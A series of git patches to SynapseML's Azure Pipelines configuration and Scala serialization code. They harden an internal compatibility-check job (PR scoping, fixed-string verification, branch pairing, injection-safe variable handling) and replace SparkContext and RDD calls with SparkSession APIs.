"$OSS_VERSION" ] || [[ "$OSS_VERSION" =~ [[:space:]] ]] \ + || [[ ! "$OSS_VERSION" =~ ^([0-9]+\.[0-9]+|HEAD-) ]]; then + echo "##vso[task.logissue type=error]Failed to determine a valid OSS version (got: '$OSS_VERSION')" exit 1 fi echo "##vso[task.setvariable variable=OSS_VERSION]$OSS_VERSION" @@ -1202,7 +1217,7 @@ jobs: ls "$HOME/.m2/repository/com/microsoft/azure/" 2>/dev/null || true - bash: | set -e - cd $(Build.SourcesDirectory)/SynapseML-Internal + cd $(Agent.BuildDirectory)/s-internal echo "=== Retargeting Internal to OSS version $(OSS_VERSION) ===" [ -n "$(OSS_VERSION)" ] || { echo "##vso[task.logissue type=error]OSS_VERSION is not set"; exit 1; } @@ -1234,7 +1249,7 @@ jobs: scriptType: bash inlineScript: | set -e - cd $(Build.SourcesDirectory)/SynapseML-Internal + cd $(Agent.BuildDirectory)/s-internal export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" echo "Compiling SynapseML-Internal against OSS $(OSS_VERSION)..." sbt compile Test/compile @@ -1266,8 +1281,8 @@ jobs: displayName: 'Free disk space (remove unused SDKs)' - bash: | set -e - conda env create --yes -f $(Build.SourcesDirectory)/SynapseML-Internal/environment.yaml -v || \ - conda env create --yes -f $(Build.SourcesDirectory)/SynapseML-Internal/environment.yaml -v + conda env create --yes -f $(Agent.BuildDirectory)/s-internal/environment.yaml -v || \ + conda env create --yes -f $(Agent.BuildDirectory)/s-internal/environment.yaml -v conda clean --all -y pip cache purge displayName: 'Create Internal conda env' @@ -1287,7 +1302,7 @@ jobs: scriptType: bash inlineScript: | set -e - cd $(Build.SourcesDirectory)/SynapseML-Internal + cd $(Agent.BuildDirectory)/s-internal eval "$(conda shell.bash hook)" conda activate synapseml-internal export CREATE_SEMPY_WRITER=false @@ -1330,7 +1345,7 @@ jobs: scriptType: bash inlineScript: | set -e - cd $(Build.SourcesDirectory)/SynapseML-Internal + cd $(Agent.BuildDirectory)/s-internal eval "$(conda shell.bash hook)" conda activate synapseml-internal export CREATE_SEMPY_WRITER=false @@ -1361,7 +1376,7 @@ jobs: scriptType: bash inlineScript: | set -e - cd $(Build.SourcesDirectory)/SynapseML-Internal + cd $(Agent.BuildDirectory)/s-internal eval "$(conda shell.bash hook)" conda activate synapseml-internal export CREATE_SEMPY_WRITER=false @@ -1399,6 +1414,6 @@ jobs: displayName: 'Publish Internal Python Test Results' inputs: testResultsFiles: '**/python-test-*.xml' - searchFolder: '$(Build.SourcesDirectory)/SynapseML-Internal' + searchFolder: '$(Agent.BuildDirectory)/s-internal' failTaskOnFailedTests: false condition: succeededOrFailed() From b8dd8b3c3dbcc3ff5587e6c79708f9b57364db6b Mon Sep 17 00:00:00 2001 From: SynapseML CI Date: Thu, 13 Aug 2026 22:20:31 +0000 Subject: [PATCH 62/93] fix: scope InternalCompat to PR builds ## Summary `InternalCompat` was gated only on `System.PullRequest.IsFork`. That variable is empty on non-PR builds, so `ne('', 'True')` evaluates true and the job would also run on every master push and on the nightly build - a 120-minute job that checks out a private repo and consumes the `SynapseML Build` service connection. Adds `eq(variables.isPR, true)`, matching the `ReleaseBranchCompat` job directly above it, which is the same class of compatibility check and already gates that way. The `isPR` variable is defined at the top of the pipeline (`$[eq(variables['Build.Reason'], 'PullRequest')]`). Also corrects a comment on the version-parsing step. It read "instead of loosely grepping" while the code below it does use `grep`, which made the intent hard to trust. The point is that the grep is strict - anchored to line start and requiring a version-shaped token - so the comment now says that instead. ## Prompting Intent Engineer asked to review the suppressed Copilot review comments on every PR, including ones not surfaced as active threads, and fix anything real. Both items come from that review. ## Linked Sources - Pull request: https://github.com/microsoft/SynapseML/pull/2542 - Copilot review (suppressed comments): https://github.com/microsoft/SynapseML/pull/2542#pullrequestreview-4930296350 ## Rationale Gated on `isPR` rather than excluding specific build reasons so the condition states the intent positively and cannot drift as new trigger types are added. Chose to scope to PRs rather than let it run post-merge: the job's value is blocking a change that would break Internal while it can still be revised, and the pipeline already establishes that convention for ReleaseBranchCompat. Running it post-merge would report a break that is already in master, at the cost of two extra hours of agent time per master build. Kept the existing fork check - the two conditions guard different things (fork PRs cannot authenticate to the private repo at all), so both are needed. Verified pipeline.yaml still parses (14 jobs) and the pipeline invariant suite passes 17/17. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- pipeline.yaml | 21 ++++++++++++++++----- 1 file changed, 16 insertions(+), 5 deletions(-) diff --git a/pipeline.yaml b/pipeline.yaml index 87b1811f450..50c1788c10b 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -1155,9 +1155,19 @@ jobs: condition: and(succeededOrFailed(), eq(variables.releaseCompatRequired, 'true')) - job: InternalCompat displayName: 'SynapseML-Internal Compatibility Check' + # Scoped to PR builds, matching ReleaseBranchCompat above: this validates that a + # proposed change still compiles Internal, which is only actionable while the + # change can still be revised. System.PullRequest.* is empty on non-PR builds, so + # the IsFork check alone would let this 120-minute, secret-consuming job run on + # every master push and nightly build. # SynapseML-Internal is a private repo. Fork PRs cannot authenticate to it, so skip the job # there rather than failing every external contribution. - condition: and(succeeded(), ne(variables['System.PullRequest.IsFork'], 'True')) + condition: >- + and( + succeeded(), + eq(variables.isPR, true), + ne(variables['System.PullRequest.IsFork'], 'True') + ) cancelTimeoutInMinutes: 0 # Measured on build 230962458: conda env 6.4m + compile 1.5m + package 1.2m + # Scala tests ~34m + ExcludeAIFunc. 90 min was not enough and the job was @@ -1200,10 +1210,11 @@ jobs: echo "$SBT_OUT" # tools/ci/get_sbt_version.sh is not reused here: it runs its own sbt # invocation, which is precisely the second invocation this step exists to - # avoid. Mirror its parsing and validation inline instead of loosely - # grepping, so a stray "[info] ..." line cannot be mistaken for the - # version and silently retarget Internal at an artifact that was never - # published. + # avoid. Its parsing and validation are mirrored inline instead. The regex + # is anchored to the start of the line and requires a version-shaped token, + # so a stray "[info] ..." line elsewhere in the output cannot be + # mistaken for the version and silently retarget Internal at an artifact + # that was never published. OSS_VERSION=$(echo "$SBT_OUT" | sed 's/\x1b\[[0-9;]*m//g' \ | grep -m1 -E '^\[info\] ([0-9]+\.[0-9]+|HEAD-)' | cut -d' ' -f2) echo "OSS version: $OSS_VERSION" From 7a67547f7325ac1a37078a785bd243395b40009a Mon Sep 17 00:00:00 2001 From: SynapseML CI Date: Fri, 14 Aug 2026 12:36:08 -0700 Subject: [PATCH 63/93] fix: match the retarget verification literally, not as a regex The post-sed guards existed to catch a silent no-op, but matched with a regex whose dots accept any character, so a build.sbt reading '1x1x3-spark3x5' would satisfy a check for '1.1.3-spark3.5' and report a false green - exactly the failure the guard was added to prevent. Switch the two literal-string guards to grep -F. The two anchored guards above stay as regexes since they rely on ^. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- pipeline.yaml | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/pipeline.yaml b/pipeline.yaml index 50c1788c10b..28fd9538145 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -1241,10 +1241,12 @@ jobs: sed -i '/^resolvers ++= Seq(/a\ Resolver.mavenLocal,' build.sbt # A silent no-op here would compile Internal against the *published* OSS build and - # report a false green, so verify both edits actually landed. - grep -q 'val synapseMLVersion = "$(OSS_VERSION)"' build.sbt || { + # report a false green, so verify both edits actually landed. Use fixed-string + # matching: the version contains dots, which as a regex would match any character + # and could accept a line the sed above never wrote. + grep -qF 'val synapseMLVersion = "$(OSS_VERSION)"' build.sbt || { echo "##vso[task.logissue type=error]Failed to retarget synapseMLVersion"; exit 1; } - grep -q 'Resolver.mavenLocal,' build.sbt || { + grep -qF 'Resolver.mavenLocal,' build.sbt || { echo "##vso[task.logissue type=error]Failed to add Resolver.mavenLocal"; exit 1; } echo "=== Modified build.sbt ===" From 7538a3d5cd4aa84a3c1f211fda3d823a91f784e4 Mon Sep 17 00:00:00 2001 From: SynapseML CI Date: Fri, 14 Aug 2026 20:46:07 -0700 Subject: [PATCH 64/93] ci: make the Internal compatibility check advisory rather than a merge gate The job had no `continueOnError`, unlike the sibling ReleaseBranchCompat, so it rolled up into the required `microsoft.SynapseML` check. A/B on this same pipeline: build 230974877 (InternalCompat red, no continueOnError) produced a failed build and a failed required check; build 231256998 (ReleaseBranchCompat red, continueOnError set) produced partiallySucceeded and a green required check while keeping its own check run red. That difference matters because SynapseML-Internal moves independently of this repo, so a red here is as often Internal's own problem as it is a real break. Build 230974877 went red with `unresolved dependency: ...-internal_2.12;1.1.3.1-7-6e9864ad-...-SNAPSHOT: not found` on a PR that changes nothing but pipeline.yaml -- it could not have broken Internal. The signal is still worth having, so the job stays and stays visible as its own red check; it just stops blocking unrelated OSS merges. Also fixes the Scala results being silently discarded. `Publish Internal Scala Test Results` had no `searchFolder`, so it searched the OSS checkout instead of `s-internal` and found nothing: `##[warning]No test result files matching '[ '**/test-reports/TEST-*.xml' ]' were found.` All 211 Scala results from spark.aifunc, ebm and predict were thrown away, while the Python step, which does set `searchFolder`, published its 28. Two comments claimed things the logs contradict. The OSS version does not always embed an HHmm timestamp -- the observed value is `1.1.3-63-542d2b49-SNAPSHOT`, no timestamp, because the OSS tree is clean; it is Internal that gets one, since the retarget `sed -i` dirties that tree. And the Scala suites are not free of external state: spark.aifunc calls live AI services for 22m39s, which is itself an argument for the job being advisory. The version validation is reduced to the one reachable check. `cut -d' ' -f2` cannot emit whitespace, and the leading `grep -m1 -E '^\[info\] ([0-9]+\.[0-9]+|HEAD-)'` already guarantees the shape the following regex re-tested, so only the empty case could ever fire. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- pipeline.yaml | 33 +++++++++++++++++++++++---------- 1 file changed, 23 insertions(+), 10 deletions(-) diff --git a/pipeline.yaml b/pipeline.yaml index 28fd9538145..9910b657977 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -1169,6 +1169,14 @@ jobs: ne(variables['System.PullRequest.IsFork'], 'True') ) cancelTimeoutInMinutes: 0 + # Advisory, not a merge gate. The Internal repo moves independently of this one, so a red + # here is as often "Internal's own snapshot did not resolve today" as it is a real break -- + # build 230974877 went red with `unresolved dependency: ...-internal_2.12 ... not found` on a + # PR that changes only pipeline.yaml. Without this, InternalCompat rolls up into the required + # `microsoft.SynapseML` check and a transient Internal problem blocks unrelated OSS merges. + # This still surfaces as its own red check run, so the signal is not lost, matching how + # ReleaseBranchCompat above is configured. + continueOnError: true # Measured on build 230962458: conda env 6.4m + compile 1.5m + package 1.2m + # Scala tests ~34m + ExcludeAIFunc. 90 min was not enough and the job was # killed mid-step; 120 leaves headroom now that the live-service suites are gone. @@ -1198,10 +1206,10 @@ jobs: set -e cd $(Build.SourcesDirectory) export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" - # The version string embeds an HHmm timestamp and is recomputed on every - # sbt invocation, so querying the version and publishing in two separate - # invocations can yield two different versions when they straddle a minute - # boundary. Run both in ONE sbt session so the version is computed once. + # The version string is recomputed on every sbt invocation and embeds an HHmm + # timestamp whenever the tree is dirty, so querying the version and publishing in + # two separate invocations can yield two different versions when they straddle a + # minute boundary. Run both in ONE sbt session so the version is computed once. if ! SBT_OUT="$(sbt -no-colors "core/version" publishM2 2>&1)"; then echo "$SBT_OUT" echo "##vso[task.logissue type=error]sbt core/version publishM2 failed" @@ -1218,9 +1226,10 @@ jobs: OSS_VERSION=$(echo "$SBT_OUT" | sed 's/\x1b\[[0-9;]*m//g' \ | grep -m1 -E '^\[info\] ([0-9]+\.[0-9]+|HEAD-)' | cut -d' ' -f2) echo "OSS version: $OSS_VERSION" - if [ -z "$OSS_VERSION" ] || [[ "$OSS_VERSION" =~ [[:space:]] ]] \ - || [[ ! "$OSS_VERSION" =~ ^([0-9]+\.[0-9]+|HEAD-) ]]; then - echo "##vso[task.logissue type=error]Failed to determine a valid OSS version (got: '$OSS_VERSION')" + # The grep above already constrains the shape, so an empty result is the only + # way this can go wrong: it means no line matched. + if [ -z "$OSS_VERSION" ]; then + echo "##vso[task.logissue type=error]Failed to determine the OSS version from sbt output" exit 1 fi echo "##vso[task.setvariable variable=OSS_VERSION]$OSS_VERSION" @@ -1321,9 +1330,10 @@ jobs: export CREATE_SEMPY_WRITER=false export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" echo "Running Internal tests against OSS $(OSS_VERSION)..." - # Only the deterministic packages run here. They exercise Internal code - # against the OSS API surface with no external state, so a failure means - # this OSS change genuinely broke Internal. + # Only the reproducible packages run here. They exercise Internal code against + # the OSS API surface, so a failure is most often a genuine break. They are not + # hermetic -- spark.aifunc calls live AI services and takes ~23 min -- which is + # part of why this job is advisory rather than a merge gate. # # powerbi and nbtest are deliberately NOT run: they drive live services # (PowerBI XMLA needs a populated workspace; nbtest submits Spark Job @@ -1421,6 +1431,9 @@ jobs: displayName: 'Publish Internal Scala Test Results' inputs: testResultsFiles: '**/test-reports/TEST-*.xml' + # Without this the task searches the OSS checkout, which has no Internal + # results, and silently publishes nothing. + searchFolder: '$(Agent.BuildDirectory)/s-internal' failTaskOnFailedTests: false condition: succeededOrFailed() - task: PublishTestResults@2 From 787404a55881616410bbf54437594e8745f9a378 Mon Sep 17 00:00:00 2001 From: SynapseML CI Date: Sat, 15 Aug 2026 01:28:21 -0700 Subject: [PATCH 65/93] ci: pair the Internal compatibility check with the matching branch The SynapseML-Internal repo resource pinned `ref: master`, but resource refs resolve at queue time while the job runs on every PR in the `pr:` trigger list, which includes spark4.1. A spark4.1 PR therefore compiled Internal master -- a Spark 3.5 tree -- against Spark 4.1 artifacts, which cannot resolve, so this advisory check would have been permanently red on that branch. A normalised red check is ignored everywhere, including on master. Re-point the checkout after the fact, the same way ReleaseBranchCompat resolves its release branch in a script rather than declaratively. Internal mirrors this repo's branch names, so an identity mapping pairs master, spark3.5, spark4.0 and spark4.1 correctly and covers any branch later added to the trigger. A missing counterpart falls back to master with a warning instead of failing, which keeps the job advisory. `persistCredentials: true` is required for this: the default checkout drops the auth header, so the follow-up fetch cannot authenticate to the private repo. Also close a false-green hole. sbt `testOnly` exits 0 when its filter matches nothing, so an Internal package rename would have made this job silently and permanently pass. The version retarget was already guarded against that class of failure; the tests were not. Assert a minimum executed-test count instead of trusting the exit status. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- pipeline.yaml | 58 +++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 58 insertions(+) diff --git a/pipeline.yaml b/pipeline.yaml index 9910b657977..37181a65c45 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -3,6 +3,9 @@ resources: - repository: SynapseML-Internal type: git name: A365/SynapseML-Internal + # Queue-time default only. `ref` is resolved before any job runs, so it cannot depend on + # the branch under test; the InternalCompat job re-points this checkout at the Internal + # branch matching the OSS target branch. See 'Select matching SynapseML-Internal branch'. ref: master trigger: @@ -1194,6 +1197,48 @@ jobs: path: s - checkout: SynapseML-Internal path: s-internal + # Required by 'Select matching SynapseML-Internal branch' below: without persisted + # credentials the follow-up fetch cannot authenticate to this private repo. + persistCredentials: true + # Internal mirrors this repo's branch names 1:1 (master, spark3.5, spark4.0, spark4.1), + # so the OSS branch under test decides which Internal branch is the correct comparison + # point: master pairs with Internal master (both Spark 3.5), spark4.1 with Internal + # spark4.1. Validating a Spark 4.1 PR against Internal master would compile a Spark 3.5 + # tree against Spark 4.1 artifacts, which cannot resolve -- a permanent red on that + # branch rather than a real signal. + - bash: | + set -euo pipefail + cd $(Agent.BuildDirectory)/s-internal + + # Read the target branch from the environment rather than a $() macro: macros are + # substituted as raw text into the script, and git permits ';' and quotes in ref + # names, so a crafted branch name would otherwise be executable. + OSS_TARGET="${SYSTEM_PULLREQUEST_TARGETBRANCH:-}" + OSS_TARGET="${OSS_TARGET#refs/heads/}" + if [ -z "$OSS_TARGET" ]; then + echo "##vso[task.logissue type=error]System.PullRequest.TargetBranch is empty; this job is PR-only" + exit 1 + fi + + # Identity mapping: OSS and Internal use the same branch names, so a branch added to + # the pr: trigger list is paired correctly without touching this step. + INTERNAL_BRANCH="$OSS_TARGET" + + # Fall back rather than fail: this job is advisory, and Internal may not have cut a + # counterpart branch yet. The warning keeps the mismatch visible, because a silent + # fallback would report a result that actually validated a different Spark line. + if ! git ls-remote --exit-code --heads origin "$INTERNAL_BRANCH" >/dev/null 2>&1; then + echo "##vso[task.logissue type=warning]SynapseML-Internal has no '$INTERNAL_BRANCH' branch; falling back to master. This PR targets OSS '$OSS_TARGET', so treat any failure here as unverified." + INTERNAL_BRANCH=master + fi + + echo "OSS target branch '$OSS_TARGET' -> SynapseML-Internal '$INTERNAL_BRANCH'" + git fetch --no-tags origin "$INTERNAL_BRANCH" + git checkout --force FETCH_HEAD + echo "##vso[task.setvariable variable=INTERNAL_BRANCH]$INTERNAL_BRANCH" + echo "=== SynapseML-Internal now at $INTERNAL_BRANCH ===" + git log --oneline -1 + displayName: 'Select matching SynapseML-Internal branch' - template: templates/sbt_cache.yml - task: AzureCLI@2 displayName: 'Publish OSS to local Maven' @@ -1354,6 +1399,19 @@ jobs: echo "##vso[task.logissue type=error]$FAILURES test package(s) failed" exit 1 fi + + # sbt `testOnly` exits 0 when its filter matches nothing, so an Internal package + # rename would turn this job into a permanently green no-op. The version retarget + # above is guarded against exactly this class of false green; the tests were not. + # Count what actually ran instead of trusting the exit status. grep -o emits one + # match per line, so several elements sharing a line all count. + TEST_COUNT=$(find . -path '*/test-reports/TEST-*.xml' -exec grep -ho 'tests="[0-9]*"' {} + \ + | tr -dc '0-9\n' | awk '{n += $1} END {print n + 0}') + echo "Scala tests executed: $TEST_COUNT" + if [ "${TEST_COUNT:-0}" -lt 150 ]; then + echo "##vso[task.logissue type=error]Only $TEST_COUNT Scala tests ran (expected ~211); the testOnly filter matched little or nothing, so this result is not a real signal" + exit 1 + fi env: INTEGRATION_ENV: $(sempy-integration-region) INTEGRATION_ACCOUNT: $(sempy-integration-account) From a41236f7927b98624a43d4466f1209a8b497e33a Mon Sep 17 00:00:00 2001 From: SynapseML CI Date: Sat, 15 Aug 2026 02:30:08 -0700 Subject: [PATCH 66/93] fix: stop expanding the OSS version through the pipeline macro engine $(OSS_VERSION) is pasted into the script as raw text before bash parses it, so a version string carrying $() or backticks would be executed, and one carrying a | would break the sed delimiter. Read the value as the OSS_VERSION environment variable in bash instead, and reject any version that is not made purely of version-shaped characters at the point it is captured. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- pipeline.yaml | 30 ++++++++++++++++++++++-------- 1 file changed, 22 insertions(+), 8 deletions(-) diff --git a/pipeline.yaml b/pipeline.yaml index 37181a65c45..02a6ea9262b 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -1277,6 +1277,17 @@ jobs: echo "##vso[task.logissue type=error]Failed to determine the OSS version from sbt output" exit 1 fi + # Every later step interpolates this value into bash, sed and grep. The grep + # above only anchors the start of the token, so constrain the whole thing to + # characters that are inert in all three contexts: that removes any way for a + # crafted version string in build.sbt to smuggle a command substitution or a + # sed delimiter through the Azure Pipelines macro expander. + case "$OSS_VERSION" in + *[!A-Za-z0-9._+-]*) + echo "##vso[task.logissue type=error]OSS version '$OSS_VERSION' contains unexpected characters" + exit 1 + ;; + esac echo "##vso[task.setvariable variable=OSS_VERSION]$OSS_VERSION" echo "=== published OSS versions in ~/.m2 ===" ls "$HOME/.m2/repository/com/microsoft/azure/" 2>/dev/null || true @@ -1284,21 +1295,24 @@ jobs: set -e cd $(Agent.BuildDirectory)/s-internal - echo "=== Retargeting Internal to OSS version $(OSS_VERSION) ===" - [ -n "$(OSS_VERSION)" ] || { echo "##vso[task.logissue type=error]OSS_VERSION is not set"; exit 1; } + # $OSS_VERSION is read as a bash environment variable rather than the + # $(OSS_VERSION) macro: macros are pasted in as raw text before bash parses the + # script, so a version string containing $() or backticks would execute. + echo "=== Retargeting Internal to OSS version $OSS_VERSION ===" + [ -n "${OSS_VERSION:-}" ] || { echo "##vso[task.logissue type=error]OSS_VERSION is not set"; exit 1; } grep -q '^val synapseMLVersion = ' build.sbt || { echo "##vso[task.logissue type=error]synapseMLVersion not found in Internal build.sbt"; exit 1; } grep -q '^resolvers ++= Seq(' build.sbt || { echo "##vso[task.logissue type=error]resolvers block not found in Internal build.sbt"; exit 1; } - sed -i 's|val synapseMLVersion = ".*"|val synapseMLVersion = "$(OSS_VERSION)"|' build.sbt + sed -i "s|val synapseMLVersion = \".*\"|val synapseMLVersion = \"${OSS_VERSION}\"|" build.sbt sed -i '/^resolvers ++= Seq(/a\ Resolver.mavenLocal,' build.sbt # A silent no-op here would compile Internal against the *published* OSS build and # report a false green, so verify both edits actually landed. Use fixed-string # matching: the version contains dots, which as a regex would match any character # and could accept a line the sed above never wrote. - grep -qF 'val synapseMLVersion = "$(OSS_VERSION)"' build.sbt || { + grep -qF "val synapseMLVersion = \"${OSS_VERSION}\"" build.sbt || { echo "##vso[task.logissue type=error]Failed to retarget synapseMLVersion"; exit 1; } grep -qF 'Resolver.mavenLocal,' build.sbt || { echo "##vso[task.logissue type=error]Failed to add Resolver.mavenLocal"; exit 1; } @@ -1318,7 +1332,7 @@ jobs: set -e cd $(Agent.BuildDirectory)/s-internal export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" - echo "Compiling SynapseML-Internal against OSS $(OSS_VERSION)..." + echo "Compiling SynapseML-Internal against OSS $OSS_VERSION..." sbt compile Test/compile - bash: | echo "##vso[task.prependpath]$CONDA/bin" @@ -1374,7 +1388,7 @@ jobs: conda activate synapseml-internal export CREATE_SEMPY_WRITER=false export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" - echo "Running Internal tests against OSS $(OSS_VERSION)..." + echo "Running Internal tests against OSS $OSS_VERSION..." # Only the reproducible packages run here. They exercise Internal code against # the OSS API surface, so a failure is most often a genuine break. They are not # hermetic -- spark.aifunc calls live AI services and takes ~23 min -- which is @@ -1431,7 +1445,7 @@ jobs: conda activate synapseml-internal export CREATE_SEMPY_WRITER=false export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" - echo "Packaging Internal Python against OSS $(OSS_VERSION)..." + echo "Packaging Internal Python against OSS $OSS_VERSION..." # packagePython and publishM2 MUST share one sbt session. Internal's version # embeds an HHmm timestamp, so separate invocations can differ by a minute: # packagePython bakes the jar coordinate into the generated Python package, @@ -1482,7 +1496,7 @@ jobs: sleep 30 python ./src/test/python/make_mlflow_models.py fi - echo "Running ExcludeAIFunc Python tests against OSS $(OSS_VERSION)..." + echo "Running ExcludeAIFunc Python tests against OSS $OSS_VERSION..." sbt testPythonExcludeAIFunc condition: succeededOrFailed() - task: PublishTestResults@2 From eb76ff6bd04ebbb8acd5083f205bb95790d71bed Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Sat, 15 Aug 2026 15:40:34 -0700 Subject: [PATCH 67/93] fix: read and write model metadata through SparkSession instead of RDD APIs (#2643) --- .../synapse/ml/logging/SynapseMLLogging.scala | 7 +- .../train/ComputePerInstanceStatistics.scala | 2 +- .../spark/ml/ComplexParamsSerializer.scala | 23 ++++-- .../org/apache/spark/ml/Serializer.scala | 39 ++++++---- .../ValidateComplexParamSerializer.scala | 41 +++++++++- .../ml/logging/VerifySynapseMLLogging.scala | 74 +++++++++++++++++++ .../VerifyComputePerInstanceStatistics.scala | 36 +++++++++ 7 files changed, 198 insertions(+), 24 deletions(-) diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/logging/SynapseMLLogging.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/logging/SynapseMLLogging.scala index 3015f764355..ee0d197c263 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/logging/SynapseMLLogging.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/logging/SynapseMLLogging.scala @@ -67,7 +67,12 @@ object SynapseMLLogging extends Logging { private[ml] def getHadoopConfEntries: Map[String, String] = { SparkSession.getActiveSession.map { spark => - val hc = spark.sparkContext.hadoopConfiguration + // Session-derived rather than spark.sparkContext, which Databricks Unity Catalog standard + // access mode rejects by name. Matches Spark's own MLlib ReadWrite (SPARK-48909) and picks + // up session-level conf overrides that sparkContext.hadoopConfiguration misses. + // Intentionally uncached: these are session identity fields that a notebook can rebind + // mid-session, and the ~0.2ms cost is per fit/transform/construct call, never per row. + val hc = spark.sessionState.newHadoopConf() //noinspection ScalaStyle HadoopKeysToLog.flatMap { case (field, name) => Option(hc.get(field)).map { v: String => (name, v) } diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/train/ComputePerInstanceStatistics.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/train/ComputePerInstanceStatistics.scala index cceecf77ea4..2c4d80a3b80 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/train/ComputePerInstanceStatistics.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/train/ComputePerInstanceStatistics.scala @@ -71,7 +71,7 @@ class ComputePerInstanceStatistics(override val uid: String) extends Transformer if (levels.get.length > 2) levels.get.length else 2 } else { // Otherwise compute unique levels - dataset.select(col(labelColumnName).cast(DoubleType)).rdd.distinct().count().toInt + dataset.select(col(labelColumnName).cast(DoubleType)).distinct().count().toInt } val logLossFunc = udf((scoredLabel: Double, scores: org.apache.spark.ml.linalg.Vector) => diff --git a/core/src/main/scala/org/apache/spark/ml/ComplexParamsSerializer.scala b/core/src/main/scala/org/apache/spark/ml/ComplexParamsSerializer.scala index a0e7f41d0ca..72a8c82ce94 100644 --- a/core/src/main/scala/org/apache/spark/ml/ComplexParamsSerializer.scala +++ b/core/src/main/scala/org/apache/spark/ml/ComplexParamsSerializer.scala @@ -5,7 +5,6 @@ package org.apache.spark.ml import com.microsoft.azure.synapse.ml.core.serialize.ComplexParam import org.apache.hadoop.fs.Path -import org.apache.spark.SparkContext import org.apache.spark.ml.param.{ParamPair, Params} import org.apache.spark.ml.util.DefaultParamsReader.Metadata import org.apache.spark.ml.util._ @@ -37,7 +36,7 @@ private[ml] class ComplexParamsWriter(instance: Params) extends MLWriter { override protected def saveImpl(path: String): Unit = { val complexParamLocs = ComplexParamsWriter.getComplexParamLocations(instance, path) val complexParamJson = ComplexParamsWriter.getComplexMetadata(complexParamLocs) - ComplexParamsWriter.saveMetadata(instance, path, sc, complexParamJson) + ComplexParamsWriter.saveMetadata(instance, path, sparkSession, complexParamJson) ComplexParamsWriter.saveComplexParams(path, complexParamLocs, shouldOverwrite) } } @@ -90,12 +89,12 @@ private[ml] object ComplexParamsWriter { */ def saveMetadata(instance: Params, path: String, - sc: SparkContext, + spark: SparkSession, extraMetadata: Option[JObject] = None, paramMap: Option[JValue] = None): Unit = { val metadataPath = new Path(path, "metadata").toString - val metadataJson = getMetadataToSave(instance, sc, extraMetadata, paramMap) - sc.parallelize(Seq(metadataJson), 1).saveAsTextFile(metadataPath) + val metadataJson = getMetadataToSave(instance, spark, extraMetadata, paramMap) + spark.createDataFrame(Seq(Tuple1(metadataJson))).toDF("value").write.text(metadataPath) } /** Helper for [[saveMetadata()]] which extracts the JSON to save. @@ -104,7 +103,7 @@ private[ml] object ComplexParamsWriter { * @see [[saveMetadata()]] for details on what this includes. */ def getMetadataToSave(instance: Params, - sc: SparkContext, + spark: SparkSession, extraMetadata: Option[JObject] = None, paramMap: Option[JValue] = None): String = { val uid = instance.uid @@ -121,7 +120,7 @@ private[ml] object ComplexParamsWriter { }.toList) val basicMetadata = ("class" -> cls) ~ ("timestamp" -> System.currentTimeMillis()) ~ - ("sparkVersion" -> sc.version) ~ + ("sparkVersion" -> spark.version) ~ ("uid" -> uid) ~ ("paramMap" -> jsonParams) ~ ("defaultParamMap" -> jsonDefaultParams) @@ -147,7 +146,15 @@ private[ml] object ComplexParamsWriter { private[ml] class ComplexParamsReader[T] extends MLReader[T] { override def load(path: String): T = { - val metadata = DefaultParamsReader.loadMetadata(path, sc) + // Mirrors Spark 4.0's DefaultParamsReader.loadMetadata(path, spark, expectedClassName), + // which reads the metadata through the session rather than SparkContext.textFile. Spark 3.5 + // only offers the SparkContext overload, so inline the same three lines here: otherwise + // loading a model still needs a SparkContext and remains unusable on Databricks Unity + // Catalog shared access mode and Spark Connect, which is the whole point of the writer + // change above. + val metadataPath = new Path(path, "metadata").toString + val metadataStr = sparkSession.read.text(metadataPath).first().getString(0) + val metadata = DefaultParamsReader.parseMetadata(metadataStr) val cls = Utils.classForName(metadata.className) val instance = cls.getConstructor(classOf[String]).newInstance(metadata.uid).asInstanceOf[Params] diff --git a/core/src/main/scala/org/apache/spark/ml/Serializer.scala b/core/src/main/scala/org/apache/spark/ml/Serializer.scala index 478b6089dc7..c9296087ffa 100644 --- a/core/src/main/scala/org/apache/spark/ml/Serializer.scala +++ b/core/src/main/scala/org/apache/spark/ml/Serializer.scala @@ -5,8 +5,8 @@ package org.apache.spark.ml import com.microsoft.azure.synapse.ml.core.env.StreamUtilities._ import com.microsoft.azure.synapse.ml.core.utils.ContextObjectInputStream +import org.apache.hadoop.conf.Configuration import org.apache.hadoop.fs.Path -import org.apache.spark.SparkContext import org.apache.spark.ml.util.MLWritable import org.apache.spark.sql._ @@ -42,7 +42,7 @@ object Serializer { (if (tpe <:< typeOf[PipelineStage]) new PipelineSerializer() else if (tpe <:< typeOf[Array[PipelineStage]]) new PipelineArraySerializer() else if (tpe <:< typeOf[Dataset[_]]) new DFSerializer(sparkSession) - else new ObjectSerializer(sparkSession.sparkContext)(typeToTypeTag(tpe))) + else new ObjectSerializer(sparkSession)(typeToTypeTag(tpe))) .asInstanceOf[Serializer[T]] } @@ -64,15 +64,25 @@ object Serializer { }.get } + /** Hadoop configuration derived from the session instead of the SparkContext. + * + * `SparkSession.sparkContext` is unavailable under Spark Connect and is explicitly 